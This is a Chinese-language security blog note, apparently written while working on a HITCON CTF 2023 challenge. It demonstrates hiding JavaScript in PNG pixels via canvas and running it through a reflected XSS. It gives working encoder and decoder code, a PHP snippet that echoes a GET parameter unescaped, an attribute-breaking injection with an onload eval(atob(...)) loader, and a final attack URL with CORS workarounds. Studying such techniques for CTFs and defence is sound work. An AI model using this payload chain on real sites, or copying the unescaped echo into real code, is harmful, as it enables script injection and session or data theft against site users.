2023/09/09:more xss:canvas,png和xss

《利用canvas将js代码隐藏到png中实现xss——关于HITCON CTF 2023一题都写不出来在网上找到一篇文章这件事》
https://choudalao.com/article/267
一些别的:
https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350
https://www.runoob.com/w3cnote/html5-canvas-intro.html

待继续尝试,先留个记录

原理

每个源代码被转换为一个像素,图片加载到HTML文档后使用canvas getImageData方法,可提取隐藏的js并执行

canvas getImageData()

返回ImageData对象(不是图像),该对象拷贝了画布指定矩形的像素数据。
它规定了画布上一个部分(矩形),并保存了该矩形内每个像素的信息。对于 ImageData 对象中的每个像素,都存在着四方面的信息,即 RGBA 值:
R - 红色(0-255)
G - 绿色(0-255)
B - 蓝色(0-255)
A - alpha 通道(0-255; 0 是透明的,255 是完全可见的)
color/alpha 信息以数组形式存在,并存储于 ImageData 对象的 data 属性(返回一个对象,该对象包含指定的 ImageData 对象的图像数据)中。
如:

1
2
3
4
5
6
imgData=ctx.createImageData(100,100);

imgData.data[0]=255;
imgData.data[1]=0;
imgData.data[2]=0;
imgData.data[3]=255;

可以把 ImageData 对象中的第一个像素变为红色

演示

生成

在浏览器空白页打开js控制台,输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
(function () {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

可生成(putImageData方法)一张图片,将“Hello,World!”字符串每组3个字符表示为每个像素的RGB级别(红、绿、蓝),此时页面左上角有个小图片
使用charCodeAt函数,我可以将每个字符转换为0到65535之间的整数,代表其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255的alpha级别。

还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 如何将该图片转换回其原始字符串
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML = a;

JavaScript代码选择刚刚创建的图片元素,并使用getImageData将其转换为原始文本字符串。使用getImageData时,会发生这样的情况:你将获得一个ImageData对象,该对象的data属性包含一个大数组。如前所示,ImageData数组中每个像素都有四个元素:r、g、b和alpha。因此,该数组看起来像[pixel1R,pixel1G,pixel1B,pixel1Alpha,…,pixelNR,pixelNG,pixelNB,pixelNAlpha]。

应用

onload的js代码

例:

1
<input id="kw" name="wd" class="s_ipt" value="<?php echo $_GET["wd"] ?>" maxlength="255" autocomplete="off">

可输入wd的值拼接:

1
2
1"> <img src="xxx" id="jsimg" onload="" />
<a href="

可以利用img标签的onload=”javascript:eval()去触发事件,window.btoa用于编码base64,而atob用于解码base64,可以把我们图片还原代码先编码,注入onload时解码来执行js代码,所以我们构造onload=”javascript:eval(atob(“加密的js代码”))”进行攻击。
注入js代码将图片转换为外部的js库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 需base64加密的js代码
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

加密:

1
2
3
var str = 't = document.getElementById("jsimg");var s = String.fromCharCode, c = document.createElement("canvas");var cs = c.style,cx = c.getContext("2d"),w = t.offsetWidth,h = t.offsetHeight;c.width = w;c.height = h;cs.width = w + "px";cs.height = h + "px";cx.drawImage(t, 0, 0);var x = cx.getImageData(0, 0, w, h).data;var a = "",l = x.length,p = -1;for (var i = 0; i < l; i += 4) {if (x[i + 0]) a += s(x[i + 0]);if (x[i + 1]) a += s(x[i + 1]);if (x[i + 2]) a += s(x[i + 2]);}eval(a)';
var res = window.btoa(str);
console.log(res);

最终:

1
http://dev.host.net/png.php?wd=1"> <img src="...自行搭建的网站,需要将生成的图片上传到这里访问,这里写访问地址" crossOrigin="anonymous" id="jsimg" onload='javascript:eval(atob("......加密为base64的内容"))' /><a href="

可能的问题

报错:

1
Uncaught DOMException: Failed to execute ‘getImageData’ on ‘CanvasRenderingContext2D’: The canvas has been tainted by cross-origin data.

原因:
将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。
解决:
恶意PNG图片要允许跨域Access-Control-Allow-Origin:*
刚才的参数中增加一个属性crossOrigin="anonymous"